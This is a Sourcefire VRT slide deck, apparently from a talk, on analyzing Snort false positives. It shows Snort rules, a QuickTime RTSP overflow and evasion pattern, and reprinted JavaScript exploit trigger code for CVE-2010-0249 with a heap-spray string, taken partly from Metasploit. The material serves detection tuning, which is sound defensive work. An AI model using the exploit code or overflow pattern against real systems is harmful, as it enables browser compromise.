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About the Sourcefire VRT 

• Founded in 2001 
• 20 team members 

• Core team members based in Columbia, Maryland (USA) 

• ClamAV team members based in Poland, Italy and Germany 

• Threat Feed team members based in Columbia and India 

• Responsibili.es include: 
• Publishing new Snort rules and Sourcefire Protec.on Updates 
• Publishing new ClamAV signatures 

• Development of the ClamAV Engine 



False Posi.ves Happen 

•  ASack could be coming into a 
non‐vulnerable system 

•  Rule could be wriSen too 
broadly 

•  Analyst could have 
misunderstood the vulnerability 

•  Malicious behavior might be 
indis.nguishable from legi.mate 
traffic 



•  Tuning Snort and your ac.ve rules is first step 
– Many people err on the side of running rules 

– BeSer to run a small set of quality rules 
•  Less noise = more detec.on 

•  No maSer how good your tuning, some 
ques.onable alerts will remain 

•  How the VRT analyzes them, through examples 

Addressing False Posi.ves 



First, A Useful Tool – Session‐Wrap 
•  Snort logs a single packet with alerts 
•  Not useful for tes.ng  
– Can’t run back through Snort and get an alert 

•  Session‐wrap to the rescue: 
– perl session-wrap <filename> 
– Can specify ‐‐client or ‐‐server 
– Available soon on hSp://labs.snort.org/  



SID 13865 – Adobe BMP Image 
Handler Overflow 



File Format Mismatch 

•  Rule is looking for malformed Bitmaps 
•  Alert is on a PNG file 
•  Common occurrence – mul.ple files 
downloaded over a single TCP session 
– Flowbit hSp.bmp is set 
– Not unset for new files 



Flowbit “Grouping” Feature 

•  alert tcp $EXTERNAL_NET $HTTP_PORTS ‐> 
$HOME_NET any (msg:“WEB‐MISC bitmap file 
download request”; 
flow:established,to_client; uricontent:“.bmp”; 
nocase; flowbits:set,h,p.bmp,h,p.files; 
flowbits:noalert; metadata: policy security‐ips 
alert, service hSp; classtype:misc‐ac.vity; sid:
16205) 

•  Available in Snort 2.8.6 Beta 



SID 7070 – Encoded XSS 

•  Rule is simple – looks for 
“<SCRIPT” in a URI 

•  Works reliably against a 
lot of basic XSS 

•  Customer said it was 
aler.ng every .me they 
accessed Lotus Notes 



Wireshark Is Your Friend 



Seriously, Lotus, WTF? 
•  Offending text: 
– &h_SetReturnURL=%3Cscript
%3Eparent.stdEdit_OnOpera.onComplete
%28%29%3B%3C%2Fscript%3E 

– %3C normalizes to “< ” 

•  Examina.on of PCAP shows calling JavaScript 
is common prac.ce in legit Lotus traffic 



Local Stupid = Local Fix 

•  Create a local flowbit rule 
– alert tcp $EXTERNAL_NET any ‐> $HOME_NET 
$HTTP_PORTS (msg:“LOCAL Lotus Notes webmail 
flowbit set”; flow:established,to_server; 
content:“Host|3A| webmail.company.com”; 
nocase; flowbits:set,lotus.webmail; 
flowbits:noalert;) 

•  Make exis.ng rule check that flowbit 



SID 12741 – Quick.me TCP RTSP sdp 
type buffer overflow 

•  QuickTime buffer overflow 

•  Looks like: 
RTSP/1.0 200 OK 

Content-Type: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAA <shellcode goes here> 



Evasion Case 
RTSP/1.0 200 OK 

Content-Type   : AAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAA <shellcode goes 
here> 

Spaces between “Content‐Type” and “:” 



Exis.ng Rule 
alert tcp $EXTERNAL_NET 554 ‐> $HOME_NET 
any (msg:"EXPLOIT Apple Quick.me TCP RTSP 
sdp type buffer overflow aSempt"; 
flow:to_client,established; content:"RTSP"; 
depth:4; content:"Content‐Type"; nocase; 
content:"|3A|"; distance:0; isdataat:
256,rela.ve; content:!"|0A|"; within:256; 
content:!"|3A|"; within:256; metadata:service 
rtsp; reference:bugtraq,26549; reference:cve,
2007‐6166; classtype:aSempted‐user; sid:
12741; rev:9;) 



Rule Problem 
•  Goal ‐ Allow for spaces between “Content‐
Type” and “:” 

•  Actual result – any “:” following “Content‐
Type” in the packet matches 

RTSP/1.0 200 OK 

Content-Type: application/sdp 

a=pgmpu:data:application/x-wms- contentdesc,
8,language,
31,0,,42,WMS_CONTENT_DESCRIPTION_PLAYLIST_ENTRY
_URL,
31,1,/,58,WMS_CONTENT_DESCRIPTION_COPIED_METADA
TA_FROM_PLAYLIST_FILE,
3,1,1,47,WMS_CONTENT_DESCRIPTION_PLAYLIST_ENTRY
_DURATION... 



Fixed Rule 
alert tcp $EXTERNAL_NET 554 ‐> $HOME_NET any 
(msg:"EXPLOIT Apple Quick.me TCP RTSP sdp 
type buffer overflow aSempt"; 
flow:to_client,established; content:"RTSP"; depth:
4; fast_paSern; content:"Content‐Type"; nocase; 
isdataat:257,rela.ve; content:!"|0A|"; within:257; 
pcre:"/Content‐Type\s*\x3A[^\n\x3A]{256}/smi"; 
metadata:service rtsp; reference:bugtraq,26549; 
reference:cve,2007‐6166; classtype:aSempted‐
user; sid:12741; rev:10;) 



Improvements 
•  PCRE validates spaces – more accurate 

•  Uses new “fast_paSern” keyword 
–  “Content‐Type” is common 
–  “RTSP” is not 
– Matching less common content 
means other rule op.ons get 
evaluated less, so rule is faster  



SID 15912 – Small TCP Window 

•  Yes, it’s a restricted SO 
rule 

•  You s.ll have some 
informa.on available 
– Msg: “small or zero‐
sized tcp window” 

– MS advisory: “excessive 
number of established 
TCP connec.ons” 

– That’s a DDoS 



TCP Flags 

•  Sure doesn’t look like an 
ESTABLISHED connec.on to me 

•  Reported to the VRT; 
subsequently fixed 



SID 14896 – Conficker Coverage 



Looks Suspicious 

•  Data isn’t Base64 encoded, doesn’t look like 
standard MS SMB encoding 

•  Special characters, unprintable bytes, etc. 
•  Passed to Lurene Grenier for review 
•  TRUE POSITIVE! 
– Shellcode analysis at  
hSp://vrt‐sourcefire.blogspot.com/2008/12/ 
ms08‐067‐in‐wild.html 



SID 16367 – CVE‐2010‐0249 

•  Yes, it’s an SO rule 
•  Public exploits exist 
– Metasploit 

– Packetstorm 

•  All the data you need lives there 
– Especially if you compare the two 



Look At The HTML 
var x1 = new Array(); 
for (i = 0; i < 500; i ++ ) 
{ 
    x1[i] = document.createElement("COMMENT"); 
    x1[i].data = "abc"; 
}; 
var e1 = null; 
func.on ev1(evt) 
{ 
    e1 = document.createEventObject(evt); 
    document.getElementById("sp1").innerHTML = ""; 
    window.setInterval(ev2, 50); 
} 
func.on ev2() 
{  p="\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d

\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d
\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d"; 

    for (i = 0; i < x1.length; i ++ ) 
    { 
        x1[i].data = p; 
    }; 
    var t = e1.srcElement; 
} 



Look At The Exploits: Metasploit 
func.on 
zNIqTPCdKtymiCswAxZfRjrUTvdYrnwsy(evt){ 

NvOdcddDpxZEqrTgOGXRVVEzTyGFOpAhnuGqeyHh
KHubknwfPhvClVRybvuJHxXmgeiUGceuVVZHpRh
YUy(); 

    UIegxolkleHlsIndYBGlcGysJvYGNFeOXnsOItwTDCy 
= document.createEventObject(evt);    
document.getElementById("SjzmlxGxjrsqoLmPPc
xwmFihjChvjEpPog").innerHTML = "";    
window.setInterval(qNVUoIxBSKRVsuLhGuTKAciN
OEcNKrynBJzmrrGu, 50); 

} 



Look At The Exploits: Packetstorm 
func.on ev1(evt) 
            { 

                event_obj = 

                document.createEventObject(evt);                  

                document.getElementById("sp1") 

                       .innerHTML = ""; 

                window.setInterval(ev2, 1); 

            } 



Conclusion: Ownage 
var x1 = new Array(); 
for (i = 0; i < 500; i ++ ) 
{ 
    x1[i] = document.createElement("COMMENT"); 
    x1[i].data = "abc"; 
}; 
var e1 = null; 
func.on ev1(evt) 
{ 
    e1 = document.createEventObject(evt); 
    document.getElementById("sp1").innerHTML = ""; 
    window.setInterval(ev2, 50); 
} 
func.on ev2() 
{  p="\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d

\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d
\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d"; 

    for (i = 0; i < x1.length; i ++ ) 
    { 
        x1[i].data = p; 
    }; 
    var t = e1.srcElement; 
} 



Ques.ons? 
Email: alex.kirk@sourcefire.com 
IRC: #snort on freenode 
VRT Blog: hSp://vrt‐sourcefire.blogspot.com/ 
Mailing Lists: hSps://lists.sourceforge.com/lists/lis.nfo/
snort‐users 

    hSps://lists.sourceforge.com/lists/lis.nfo/snort‐sigs 

TwiSer: hSp//www.twiSer.com/vrt_sourcefire 


